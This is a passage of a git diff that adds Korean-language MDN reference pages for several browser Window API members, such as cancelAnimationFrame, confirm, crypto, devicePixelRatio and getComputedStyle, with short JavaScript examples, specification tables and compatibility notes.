+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("HTML WHATWG", "indices.html#event-beforeunload", "beforeunload")}}</td>
+ <td>{{Spec2("HTML WHATWG")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML5 W3C", "browsers.html#unloading-documents", "beforeunload")}}</td>
+ <td>{{Spec2("HTML5 W3C")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.beforeunload_event")}}</p>
+
+<p>{{domxref("WindowEventHandlers.onbeforeunload")}}에서 각각의 브라우저가 beforeunload를 어떻게 처리하는지 자세히 알아보세요.</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>관련 이벤트: {{domxref("Window/DOMContentLoaded_event", "DOMContentLoaded")}}, {{domxref("Document/readystatechange_event", "readystatechange")}}, {{domxref("Window/load_event", "load")}}, {{domxref("Window/unload_event", "unload")}}</li>
+ <li><a href="https://html.spec.whatwg.org/#prompt-to-unload-a-document">Unloading Documents — Prompt to unload a document</a></li>
+ <li><a href="https://developers.google.com/web/updates/2016/04/chrome-51-deprecations?hl=en#remove_custom_messages_in_onbeforeunload_dialogs">Remove Custom Messages in onbeforeload Dialogs after Chrome 51</a></li>
+</ul>
diff --git a/files/ko/web/api/window/cancelanimationframe/index.html b/files/ko/web/api/window/cancelanimationframe/index.html
new file mode 100644
index 0000000000..51c506a7e3
--- /dev/null
+++ b/files/ko/web/api/window/cancelanimationframe/index.html
@@ -0,0 +1,72 @@
+---
+title: window.cancelAnimationFrame()
+slug: Web/API/Window/cancelAnimationFrame
+tags:
+ - API
+ - DOM
+ - 레퍼런스
+ - 메소드
+ - 실험적
+ - 애니메이션
+ - 윈도우
+translation_of: Web/API/Window/cancelAnimationFrame
+---
+<div>{{APIRef}}</div>
+
+<p><code><strong>window.cancelAnimationFrame()</strong></code> 메소드는 이전에 {{domxref("window.requestAnimationFrame()")}} 을 호출하여 스케줄된 애니메이션 프레임 요청을 취소합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">window.cancelAnimationFrame(<em>requestID</em>);
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>requestID</code></dt>
+ <dd>요청된 콜백 {{domxref("window.requestAnimationFrame()")}} 을 호출하여 반환된 ID 값.</dd>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: js">var requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame ||
+ window.webkitRequestAnimationFrame || window.msRequestAnimationFrame;
+
+var cancelAnimationFrame = window.cancelAnimationFrame || window.mozCancelAnimationFrame;
+
+var start = window.mozAnimationStartTime; // Firefox 에서만 지원됨. 다른 브라우저에서는 Date.now() 같은 것을 사용할 수 있음.
+
+var myReq;
+
+function step(timestamp) {
+ var progress = timestamp - start;
+ d.style.left = Math.min(progress / 10, 200) + 'px';
+ if (progress &lt; 2000) {
+ myReq = requestAnimationFrame(step);
+ }
+}
+myReq = requestAnimationFrame(step);
+
+cancelAnimationFrame(myReq);
+</pre>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.Window.cancelAnimationFrame")}}</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<ul>
+ <li>{{spec("https://www.w3.org/TR/html51/webappapis.html#animation-frames", "Timing control for script-based animations: cancelAnimationFrame", "WD")}}</li>
+</ul>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{domxref("window.mozAnimationStartTime")}}</li>
+ <li>{{domxref("window.requestAnimationFrame()")}}</li>
+</ul>
diff --git a/files/ko/web/api/window/closed/index.html b/files/ko/web/api/window/closed/index.html
new file mode 100644
index 0000000000..4c077bda92
--- /dev/null
+++ b/files/ko/web/api/window/closed/index.html
@@ -0,0 +1,70 @@
+---
+title: Window.closed
+slug: Web/API/Window/closed
+tags:
+ - API
+ - HTML DOM
+ - Property
+ - Reference
+ - Window
+translation_of: Web/API/Window/closed
+---
+<div>{{APIRef}}</div>
+
+<p><code><strong>Window.closed</strong></code> 읽기 전용 속성은 참조한 창이 닫혔는지 여부를 나타냅니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">const <em>isClosed</em> = <em>windowRef</em>.closed;</pre>
+
+<h3 id="값">값</h3>
+
+<p>창이 닫혔으면 <code>true</code>, 그렇지 않으면 <code>false</code>.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="팝업에서_자신을_띄운_창의_URL_바꾸기">팝업에서 자신을 띄운 창의 URL 바꾸기</h3>
+
+<p>다음 예제는 팝업 창에서 자신을 띄운 창의 {{glossary("URL")}}을 바꾸는 예제입니다. URL을 바꾸기 전, 현재 창을 띄운 창의 존재 유무를 {{domxref("window.opener")}} 속성으로 검사하고, <code>closed</code> 속성으로 이미 닫히지는 않았는지도 검사합니다.</p>
+
+<pre class="brush:js notranslate">// Check that an opener exists and is not closed
+if (window.opener &amp;&amp; !window.opener.closed) {
+ window.opener.location.href = 'http://www.mozilla.org';
+}</pre>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> 팝업은 자신을 띄운 창에만 접근할 수 있습니다.</p>
+</div>
+
+<h3 id="이전에_열었던_팝업_새로고침">이전에 열었던 팝업 새로고침</h3>
+
+<p>이번 예제의 <code>refreshPopupWindow()</code>는 팝업의 {{domxref("Location.reload", "reload()")}} 메서드를 호출해 데이터를 다시 불러옵니다. 만약 팝업을 아직 열지 않았거나, 사용자가 이미 닫은 경우 새로운 팝업을 띄웁니다.</p>
+
+<pre class="brush: js notranslate">const popupWindow = null;
+
+function refreshPopupWindow() {
+ if (popupWindow &amp;&amp; !popupWindow.closed) {
+ // popupWindow is open, refresh it
+ popupWindow.location.reload(true);
+ } else {
+ // Open a new popup window
+ popupWindow = window.open('popup.html', 'dataWindow');
+ }
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#dom-window-closed', 'window.closed')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/api/window/confirm/index.html b/files/ko/web/api/window/confirm/index.html
new file mode 100644
index 0000000000..f2895337bd
--- /dev/null
+++ b/files/ko/web/api/window/confirm/index.html
@@ -0,0 +1,76 @@
+---
+title: Window.confirm()
+slug: Web/API/Window/confirm
+tags:
+ - API
+ - HTML DOM
+ - Method
+ - Reference
+ - Window
+translation_of: Web/API/Window/confirm
+---
+<div>{{ApiRef("Window")}}</div>
+
+<p><code><strong>Window.confirm()</strong></code> 메서드는 확인과 취소 두 버튼을 가지며 메시지를 지정할 수 있는 모달 대화 상자를 띄웁니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate"><em>result</em> = window.confirm(<em>message</em>);
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>message</code></dt>
+ <dd>경고 대화 상자에 표시할 텍스트 문자열.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>확인 (<code>true</code>) 또는 취소 (<code>false</code>) 중 사용자가 선택한 값. 브라우저가 페이지 내 대화 상자를 무시하고 있으면 항상 <code>false</code>입니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js notranslate">if (window.confirm("Do you really want to leave?")) {
+ window.open("exit.html", "Thanks for Visiting!");
+}
+</pre>
+
+<p>위 코드는 다음 결과를 보입니다.</p>
+
+<p><img alt="firefox confirm" src="https://mdn.mozillademos.org/files/7163/firefoxcomfirmdialog_zpsf00ec381.png" style="height: 119px; width: 354px;"><br>
+  </p>
+
+<h2 id="참고">참고</h2>
+
+<p>대화 상자는 모달 창(부모 창으로 돌아가기 전에 사용자의 상호 작용을 요구하는 자식 창)으로, 사용자는 대화 상자가 닫힐 때까지 다른 모든 인터페이스에 접근할 수 없습니다. 따라서 대화 상자(또는 모달 창)를 만드는 함수를 남용하면 안 됩니다. 이 뿐만이 아니더라도, <a href="https://alistapart.com/article/neveruseawarning/">대화 상자로 사용자 확인을 받는 것은 피해야</a> 할 좋은 이유 여럿이 존재합니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'timers-and-user-prompts.html#dom-confirm', 'confirm()')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.confirm")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("window.alert()")}}</li>
+ <li>{{domxref("window.prompt()")}}</li>
+</ul>
diff --git a/files/ko/web/api/window/console/index.html b/files/ko/web/api/window/console/index.html
new file mode 100644
index 0000000000..baed7caeeb
--- /dev/null
+++ b/files/ko/web/api/window/console/index.html
@@ -0,0 +1,53 @@
+---
+title: Window.console
+slug: Web/API/Window/console
+tags:
+ - API
+ - Property
+ - Read-only
+ - Reference
+ - Window
+ - console
+translation_of: Web/API/Window/console
+---
+<div>{{APIRef}}</div>
+
+<p><strong><code>Window.console</code></strong> 속성은 브라우저 콘솔에 로그를 남길 수 있는 메서드를 가진 {{domxref("Console")}} 객체의 참조를 반환합니다. 콘솔 메서드는 디버깅 용도로만 사용해야 하며, 엔드유저에게 정보를 제공할 의도를 가져션 안됩니다.</p>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<h3 id="콘솔에_로그_남기기">콘솔에 로그 남기기</h3>
+
+<p>다음 코드는 콘솔에 로그 텍스트를 남깁니다.</p>
+
+<pre class="brush: js">console.log("An error occurred while loading the content");
+</pre>
+
+<p>다음 코드는 객체를 콘솔에 출력합니다. 출력 결과를 클릭하면 객체의 필드를 펼쳐볼 수 있습니다.</p>
+
+<pre class="brush: js">console.dir(someObject);</pre>
+
+<p>{{domxref("Console")}} 문서의 <a href="/ko/docs/Web/API/Console#예제">예제</a> 항목에서 더 자세한 예제를 살펴보세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Console API')}}</td>
+ <td>{{Spec2('Console API')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p>현재 브라우저간 구현에 많은 차이가 있지만, 하나로 통합하여 서로 보다 일관적으로 만드는 작업이 진행 중입니다.</p>
+</div>
diff --git a/files/ko/web/api/window/crypto/index.html b/files/ko/web/api/window/crypto/index.html
new file mode 100644
index 0000000000..1b43534adc
--- /dev/null
+++ b/files/ko/web/api/window/crypto/index.html
@@ -0,0 +1,75 @@
+---
+title: Window.crypto
+slug: Web/API/Window/crypto
+tags:
+ - API
+ - HTML DOM
+ - Property
+ - Reference
+ - Window
+translation_of: Web/API/Window/crypto
+---
+<div>{{APIRef}}</div>
+
+<p><span class="seoSummary"><strong><code>Window.crypto</code></strong>속성은 전역 객체인 {{domxref("Crypto")}} 객체를 반환합니다. <code>Crypto</code> 객체는 웹 페이지가 특정 암호학적 서비스에 접근할 수 있는 경로입니다.</span> <code>crypto</code> 속성 자체는 읽기 전용이지만, 모든 메서드(와 자식 객체 {{domxref("SubtleCrypto")}})의 메서드)는 읽기 전용이 아니므로 {{glossary("polyfill", "폴리필")}}을 통한 공격에 취약합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">var <em>cryptoObj</em> = window.crypto || window.msCrypto; // for IE 11
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<p id="Using_the_domxrefWindow.crypto_property_to_access_the_getRandomValues_method.">다음 예제는 {{domxref("Window.crypto")}} 속성을 통해 {{domxref("Crypto.getRandomValues", "getRandomValues()")}} 메서드에 접근합니다.</p>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">genRandomNumbers = function getRandomNumbers() {
+ var array = new Uint32Array(10);
+ window.crypto.getRandomValues(array);
+
+ var randText = document.getElementById("myRandText");
+ randText.innerHTML = "The random numbers are: "
+ for (var i = 0; i &lt; array.length; i++) {
+ randText.innerHTML += array[i] + " ";
+ }
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p id="myRandText"&gt;The random numbers are: &lt;/p&gt;
+&lt;button type="button" onClick='genRandomNumbers()'&gt;Generate 10 random numbers&lt;/button&gt;</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("Web Crypto API", "#dfn-GlobalCrypto", "Window.crypto")}}</td>
+ <td>{{Spec2("Web Crypto API")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.crypto")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("Window")}} 전역 객체</li>
+ <li>{{domxref("Crypto")}} 인터페이스</li>
+</ul>
diff --git a/files/ko/web/api/window/customelements/index.html b/files/ko/web/api/window/customelements/index.html
new file mode 100644
index 0000000000..591cd5bf65
--- /dev/null
+++ b/files/ko/web/api/window/customelements/index.html
@@ -0,0 +1,63 @@
+---
+title: Window.customElements
+slug: Web/API/Window/customElements
+tags:
+ - API
+ - Property
+ - Reference
+ - Web Components
+ - Window
+translation_of: Web/API/Window/customElements
+---
+<div>{{APIRef}}</div>
+
+<p><span class="seoSummary">{{domxref("Window")}} 인터페이스의 <strong><code>customElements</code></strong> 읽기 전용 속성은 새로운 사용자 지정 요소를 등록하거나, 이전에 등록한 요소의 정보를 받아올 수 있는 {{domxref("CustomElementRegistry")}} 객체의 참조를 반환합니다.</span></p>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<p><code>customElements</code>를 사용하는 가장 흔한 예시는 새로운 요소를 정의하고 등록하기 위해 {{domxref("CustomElementRegistry.define()")}} 메서드에 적용하는 경우입니다.</p>
+
+<pre class="brush: js">let customElementRegistry = window.customElements;
+customElementRegistry.define('my-custom-element', MyCustomElement);</pre>
+
+<p>그러나, 보통은 다음 코드처럼 줄여서 사용하곤 합니다.</p>
+
+<pre class="brush: js">customElements.define('element-details',
+ class extends HTMLElement {
+ constructor() {
+ super();
+ const template = document
+ .getElementById('element-details-template')
+ .content;
+ const shadowRoot = this.attachShadow({mode: 'open'})
+ .appendChild(template.cloneNode(true));
+ }
+ }
+);</pre>
+
+<p><a href="https://github.com/mdn/web-components-examples/">web-components-examples</a> 저장소에서 더 많은 사용 예제를 찾아보세요.</p>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML WHATWG", "custom-elements.html#dom-window-customelements", "window.customElements")}}</td>
+ <td>{{Spec2("HTML WHATWG")}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.Window.customElements")}}</p>
+</div>
diff --git a/files/ko/web/api/window/devicepixelratio/index.html b/files/ko/web/api/window/devicepixelratio/index.html
new file mode 100644
index 0000000000..361862dd9e
--- /dev/null
+++ b/files/ko/web/api/window/devicepixelratio/index.html
@@ -0,0 +1,180 @@
+---
+title: Window.devicePixelRatio
+slug: Web/API/Window/devicePixelRatio
+tags:
+ - API
+ - Property
+ - Read-only
+ - Reference
+ - Window
+translation_of: Web/API/Window/devicePixelRatio
+---
+<div>{{APIRef}}</div>
+
+<p><span class="seoSummary">{{domxref("Window")}} 인터페이스의 <strong><code>devicePixelRatio</code></strong> 읽기 전용 속성은 현재 표시 장치의 물리적 픽셀과 CSS 픽셀의 비율을 반환합니다.</span> CSS 픽셀의 크기를 물리적 픽셀의 크기로 나눈 값으로 해석해도 됩니다. 또 다른 해석은, 하나의 CSS 픽셀을 그릴 때 사용해야 하는 장치 픽셀의 수라고 할 수 있습니다.</p>
+
+<p><code>devicePixelRatio</code> 속성은 HiDPI/Retina 디스플레이처럼 같은 객체를 그릴 때 더 많은 픽셀을 사용해 보다 선명한 이미지를 표현하는 화면과, 표준 디스플레이의 렌더링 차이에 대응할 때 유용합니다.</p>
+
+<p>{{domxref("window.matchMedia()")}}를 사용하면, 사용자가 창을 드래그 해 디스플레이의 픽셀 밀도가 바뀌는 등의 상황에서 <code>devicePixelRatio</code>가 바뀌는지 알아낼 수 있습니다. 아래의 예제를 참고하세요.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox"><em><var>value</var></em> = window.devicePixelRatio
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Correcting_resolution_in_a_&lt;canvas>">Correcting resolution in a <code>&lt;canvas&gt;</code></h3>
+
+<p>A {{htmlelement("canvas")}} can appear too blurry on retina screens. Use <code>window.devicePixelRatio</code> to determine how much extra pixel density should be added to allow for a sharper image.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+// Set display size (css pixels).
+var size = 200;
+canvas.style.width = size + "px";
+canvas.style.height = size + "px";
+
+// Set actual size in memory (scaled to account for extra pixel density).
+var scale = window.devicePixelRatio; // Change to 1 on retina screens to see blurry canvas.
+canvas.width = size * scale;
+canvas.height = size * scale;
+
+// Normalize coordinate system to use css pixels.
+ctx.scale(scale, scale);
+
+ctx.fillStyle = "#bada55";
+ctx.fillRect(10, 10, 300, 300);
+ctx.fillStyle = "#ffffff";
+ctx.font = '18px Arial';
+ctx.textAlign = 'center';
+ctx.textBaseline = 'middle';
+
+var x = size / 2;
+var y = size / 2;
+
+var textString = "I love MDN";
+ctx.fillText(textString, x, y);</pre>
+
+<p><a href="https://mdn.mozillademos.org/files/15023/devicePixelRation%20Diff..png"><img alt="This image describe the impact of different value on retina display. " src="https://mdn.mozillademos.org/files/15023/devicePixelRation%20Diff..png" style="height: 57px; width: 600px;"></a></p>
+
+<h3 id="Monitoring_screen_resolution_or_zoom_level_changes">Monitoring screen resolution or zoom level changes</h3>
+
+<p>In this example, we'll set up a media query and watch it to see when the device resolution changes, so that we can check the value of <code>devicePixelRatio</code> to handle any updates we need to.</p>
+
+<h4 id="JavaScript_2">JavaScript</h4>
+
+<p>The JavaScript code creates the media query that monitors the device resolution and checks the value of <code>devicePixelRatio</code> any time it changes.</p>
+
+<pre class="brush: js">let pixelRatioBox = document.querySelector(".pixel-ratio");
+let mqString = `(resolution: ${window.devicePixelRatio}dppx)`;
+
+const updatePixelRatio = () =&gt; {
+ let pr = window.devicePixelRatio;
+ let prString = (pr * 100).toFixed(0);
+ pixelRatioBox.innerText = `${prString}% (${pr.toFixed(2)})`;
+}
+
+updatePixelRatio();
+
+matchMedia(mqString).addListener(updatePixelRatio);</pre>
+
+<p>The string <code>mqString</code> is set up to be the media query itself. The media query, which begins as <code>(resolution: 1dppx)</code> (for standard displays) or <code>(resolution: 2dppx)</code> (for Retina/HiDPI displays), checks to see if the current display resolution matches a specific number of device dots per <code>px</code>.</p>
+
+<p>The <code>updatePixelRatio()</code> function fetches the current value of <code>devicePixelRatio</code>, then sets the {{domxref("HTMLElement.innerText", "innerText")}} of the element <code>pixelRatioBox</code> to a string which displays the ratio both as a percentage and as a raw decimal value with up to two decimal places.</p>
+
+<p>Then the <code>updatePixelRatio()</code> function is called once to display the starting value, after which the media query is created using {{domxref("Window.matchMedia", "matchMedia()")}} and {{domxref("EventTarget.addEventListener", "addEventListener()")}} is called to set up <code>updatePixelRatio()</code> as a handler for the <code>change</code> event.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<p>The HTML creates the boxes containing the instructions and the <code>pixel-ratio</code> box that will display the current pixel ratio information.</p>
+
+<pre class="brush: html">&lt;div class="container"&gt;
+ &lt;div class="inner-container"&gt;
+ &lt;p&gt;This example demonstrates the effect of zooming the page in
+ and out (or moving it to a screen with a different scaling
+ factor) on the value of the property &lt;code&gt;Window.devicePixelRatio&lt;/code&gt;.
+ Try it and watch what happens!&lt;/p&gt;
+ &lt;/div&gt;
+ &lt;div class="pixel-ratio"&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<details><summary>
+<h4 id="CSS">CSS</h4>
+</summary>
+
+<pre class="brush: css">body {
+ font: 22px arial, sans-serif;
+}
+
+.container {
+ top: 2em;
+ width: 22em;
+ height: 14em;
+ border: 2px solid #22d;
+ margin: 0 auto;
+ padding: 0;
+ background-color: #a9f;
+}
+
+.inner-container {
+ padding: 1em 2em;
+ text-align: justify;
+ text-justify: auto;
+}
+
+.pixel-ratio {
+ position: relative;
+ margin: auto;
+ height: 1.2em;
+ text-align: right;
+ bottom: 0;
+ right: 1em;
+ font-weight: bold;
+}</pre>
+</details>
+
+<h4 id="Result">Result</h4>
+
+<p>{{EmbedLiveSample("Monitoring_screen_resolution_or_zoom_level_changes", "100%", 500)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSSOM View", "#dom-window-devicepixelratio", "Window.devicePixelRatio")}}</td>
+ <td>{{Spec2("CSSOM View")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.devicePixelRatio")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/Media_Queries">Media queries</a></li>
+ <li><a href="/en-US/docs/Web/CSS/Media_Queries/Using_media_queries">Using media queries</a></li>
+ <li><a href="/en-US/docs/Web/CSS/@media/resolution">CSS <code>resolution</code> media query</a></li>
+</ul>
diff --git a/files/ko/web/api/window/document/index.html b/files/ko/web/api/window/document/index.html
new file mode 100644
index 0000000000..1703ac8474
--- /dev/null
+++ b/files/ko/web/api/window/document/index.html
@@ -0,0 +1,47 @@
+---
+title: Window.document
+slug: Web/API/Window/document
+tags:
+ - API
+ - HTML DOM
+ - Property
+ - Reference
+ - Window
+translation_of: Web/API/Window/document
+---
+<div>{{APIRef}}</div>
+
+<p><span class="seoSummary"><strong><code>window.document</code></strong> 속성은 창이 포함한 <a href="/ko/docs/Web/API/Document">문서</a>의 참조를 반환합니다.</span></p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">console.log(window.document.title);
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#dom-document-2', 'Window.document')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'browsers.html#dom-document-0', 'Window.document')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.document")}}</p>
diff --git a/files/ko/web/api/window/event/index.html b/files/ko/web/api/window/event/index.html
new file mode 100644
index 0000000000..d358167e58
--- /dev/null
+++ b/files/ko/web/api/window/event/index.html
@@ -0,0 +1,52 @@
+---
+title: Window.event
+slug: Web/API/Window/event
+tags:
+ - API
+ - DOM
+ - Event
+ - Property
+ - Read-only
+ - Reference
+ - Window
+ - 이벤트
+translation_of: Web/API/Window/event
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>{{domxref("Window")}} 객체의 <strong><code>event</code></strong> 속성은 웹 사이트의 코드가 현재 처리 중인 {{domxref("Event")}}를 반환합니다. 이벤트 처리기 바깥에서는 항상 {{jsxref("undefined")}}입니다.</p>
+
+<p>신규 코드에서는 사용을 피하세요. 대신, 처리기가 매개변수로 받는 {{domxref("Event")}}를 사용해야 합니다. <code>event</code> 속성은 많이 지원되지도 않고, 지원하는 환경에서도 나중에 문제가 발생할 여지를 키웁니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> <code>event</code> 속성이 반환하는 <code>Event</code>가 예상하는 값과 다른 경우가 많습니다. 게다가 {{Glossary("shadow tree", "섀도우 트리")}} 안에서 발생한 이벤트의 경우 정확하지 않습니다.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', "#ref-for-dom-window-event", "Window.event")}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.event")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("Event.srcElement")}}</li>
+</ul>
diff --git a/files/ko/web/api/window/frameelement/index.html b/files/ko/web/api/window/frameelement/index.html
new file mode 100644
index 0000000000..5652dac1f0
--- /dev/null
+++ b/files/ko/web/api/window/frameelement/index.html
@@ -0,0 +1,61 @@
+---
+title: Window.frameElement
+slug: Web/API/Window/frameElement
+tags:
+ - API
+ - DOM
+ - Property
+ - Reference
+ - Window
+translation_of: Web/API/Window/frameElement
+---
+<div>{{ApiRef}}</div>
+
+<p><span class="seoSummary"><code><strong>Window.frameElement</strong></code> 속성은 {{HTMLElement("iframe")}}이나 {{HTMLElement("object")}}처럼 현재 창을 포함한 요소를 반환합니다.</span> 창이 다른 문서에 포함된 것이 아니거나, 문서의 출처가 다른 경우, 즉 창과 해당 문서의 도메인이 서로 다른 경우 {{jsxref("null")}}을 반환합니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 속성 이름("frame")과는 달리, {{HTMLElement("object")}}, {{HTMLElement("iframe")}}, {{HTMLElement("embed")}}를 포함한 모든 포함 지점에서 사용할 수 있습니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:js">var frameEl = window.frameElement;
+// If we're embedded, change the containing element's URL to 'http://mozilla.org/'
+if (frameEl) {
+ frameEl.src = 'http://mozilla.org/';
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'browsers.html#dom-frameelement', 'Window.frameElement')}}</td>
+ <td>{{ Spec2('WebRTC 1.0') }}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.Window.frameElement")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("window.frames")}}는 현재 창의 모든 자식 프레임을 배열형 객체로 나열합니다.</li>
+ <li>{{domxref("window.parent")}}는 부모 창, 즉 <code>frameElement</code>를 담고 있는 창을 반환합니다.</li>
+</ul>
diff --git a/files/ko/web/api/window/getcomputedstyle/index.html b/files/ko/web/api/window/getcomputedstyle/index.html
new file mode 100644
index 0000000000..928f2f4b47
--- /dev/null
+++ b/files/ko/web/api/window/getcomputedstyle/index.html
@@ -0,0 +1,137 @@
+---
+title: Window.getComputedStyle()
+slug: Web/API/Window/getComputedStyle
+tags:
+ - API
+ - CSSOM View
+ - Method
+ - Reference
+ - Window
+translation_of: Web/API/Window/getComputedStyle
+---
+<div>{{APIRef}}</div>
+
+<p class="summary"><span class="seoSummary"><code>Window.getComputedStyle()</code> 메소드는 인자로 전달받은 요소의 모든 CSS 속성값을 담은 객체를 회신합니다. 이 속성값들은, 해당 요소에 대하여 활성 스타일시트와 속성값에 대한 기본 연산이 모두 반영된 결과값입니다.  개별 CSS속성 값은 객체를 통해 제공되는 API 또는 CSS 속성 이름을 사용해서 간단히 색인화해서 액세스할 수 있습니다.</span></p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">var <em>style</em> = window.getComputedStyle(<em>element</em>[, <em>pseudoElt</em>]);
+</pre>
+
+<dl>
